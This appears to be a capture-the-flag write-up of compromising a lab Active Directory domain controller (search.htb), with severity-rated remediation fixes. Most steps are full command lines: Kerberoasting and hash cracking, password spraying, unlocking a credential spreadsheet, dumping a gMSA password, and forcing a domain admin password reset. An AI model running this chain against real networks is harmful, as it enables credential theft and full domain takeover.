Search
Summary
I identified a Windows Active Directory domain controller (search.htb) running a public IIS website. A staff-gallery photograph on that site contained a handwritten sticky note with a plaintext domain password, yielding the first foothold account (hope.sharp). With LDAP access, I dumped the directory, Kerberoasted a service account (web_svc), and cracked its hash; that same password was [REDACTED: recovered credential] on a HelpDesk operator account. The HelpDesk account accessed an SMB share holding a credential spreadsheet whose Excel sheet-protection was bypassed by deleting a single XML tag, revealing Sierra.Frye's password and the user flag. BloodHound ACL analysis showed Sierra.Frye's membership in the [REDACTED: recovered credential] group — which held ReadGMSAPassword over the group-managed service account BIR-ADFS-GMSA$ — and that gMSA in turn held ForceChangePassword over a domain administrator. Chaining those two ACL delegations gave me full domain control.
Attack path — how the box was taken
Exact commands 2
nmap -sC -sV -p- --min-rate 5000 -oN nmap-full.txt $TARGETecho '$TARGET search.htb' | sudo tee -a /etc/hostsExact commands 2
wget -q 'http://$TARGET/<gallery-image>.jpg' -O staff-note.jpg && tesseract staff-note.jpg stdoutnxc ldap $TARGET -d search.htb -u 'hope.sharp' -p '[REDACTED: recovered credential]'FixRemove credentials from publicly visible images and documentsCritical
Exact commands 3
ldapdomaindump -u 'search.htb\hope.sharp' -p '[REDACTED: recovered credential]' $TARGET -o ldap-dump/GetUserSPNs.py search.htb/hope.sharp:'[REDACTED: recovered credential]' -dc-ip $TARGET -request -outputfile kerberoast.txthashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt --forceFixProtect Kerberoastable service accounts with long random passwords or migrate to gMSAHigh
Exact commands 2
grep -i 'helpdesk' ldap-dump/domain_users.grep | awk '{print $3}' > helpdesk-users.txtnxc smb $TARGET -d search.htb -u helpdesk-users.txt -p '<web_svc-cracked-password>' --continue-on-successFixEliminate password reuse between service accounts and user accountsHigh
Exact commands 4
smbclient //$TARGET/<share-name> -U 'search.htb/<helpdesk-user>%<cracked-password>' -c 'get <spreadsheet>.xlsx /tmp/creds.xlsx'unzip /tmp/creds.xlsx -d /tmp/xlsx-raw/sed -i 's/<sheetProtection[^/]*\/>//g' /tmp/xlsx-raw/xl/worksheets/sheet1.xmlcd /tmp/xlsx-raw && zip -r /tmp/creds-unlocked.xlsx . && libreoffice --calc /tmp/creds-unlocked.xlsxFixReplace Excel sheet-protection with proper access controls for credential storageHigh
Exact commands 2
smbclient //$TARGET/RedirectedFolders$ -U 'search.htb/Sierra.Frye%[REDACTED: recovered credential]' -c 'ls'smbclient //$TARGET/RedirectedFolders$ -U 'search.htb/Sierra.Frye%[REDACTED: recovered credential]' -c 'get sierra.frye/Desktop/user.txt /tmp/user.txt' && cat /tmp/user.txtExact commands 3
bloodhound-python -u 'Sierra.Frye' -p '[REDACTED: recovered credential]' -d search.htb -dc $TARGET -c Allpython3 gMSADumper.py -u 'Sierra.Frye' -p '[REDACTED: recovered credential]' -d search.htb -l $TARGETnxc ldap $TARGET -d search.htb -u 'Sierra.Frye' -p '[REDACTED: recovered credential]' --gmsaFixApply least-privilege to gMSA read access and remove write ACLs over administrative accountsCritical
Exact commands 3
bloodyAD -u 'BIR-ADFS-GMSA$' -p ':[REDACTED: protected value]' -d search.htb --host $TARGET set password Tristan.Davies '[REDACTED: recovered credential]'evil-winrm -i $TARGET -u 'Tristan.Davies' -p '[REDACTED: recovered credential]'type C:\Users\Administrator\Desktop\root.txtFixApply least-privilege to gMSA read access and remove write ACLs over administrative accountsCritical
Attack patterns used
The transferable techniques behind this compromise.
gMSA Password ReadActive Directory · Credential AccessT1555
What it is
Group Managed Service Accounts store their password blob (msDS-ManagedPassword) in the directory, readable only by principals listed in PrincipalsAllowedToRetrieveManagedPassword. If I control (or coerces) one of those principals, tools like gMSADumper retrieve the blob and derive the gMSA's NTLM hash, then authenticate or Kerberoast as that service account.
Why it works
gMSAs are a hardening feature (auto-rotating passwords) but the read ACL is frequently too broad, and the service accounts often hold elevated rights. Remediate by tightly scoping the retrieval ACL and auditing reads of msDS-ManagedPassword.
Read more
Exposed services
| 53/tcp | domain Simple DNS Plus |
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-15 13:14:14Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: search.htb, Site: Default-First-Site-Name) |
| 443/tcp | ssl/http Microsoft IIS httpd 10.0 |
| 445/tcp | microsoft-ds? |
| 464/tcp | kpasswd5? |
| 593/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 636/tcp | ssl/ldap Microsoft Windows Active Directory LDAP (Domain: search.htb, Site: Default-First-Site-Name) |
| 8172/tcp | ssl/unknown |
| 9389/tcp | mc-nmf .NET Message Framing |
| 49667/tcp | unknown recon-sweep-discovered |
| 49693/tcp | unknown recon-sweep-discovered |
| 49694/tcp | unknown recon-sweep-discovered |
| 49709/tcp | unknown recon-sweep-discovered |
| 49726/tcp | unknown recon-sweep-discovered |
| 49746/tcp | unknown recon-sweep-discovered |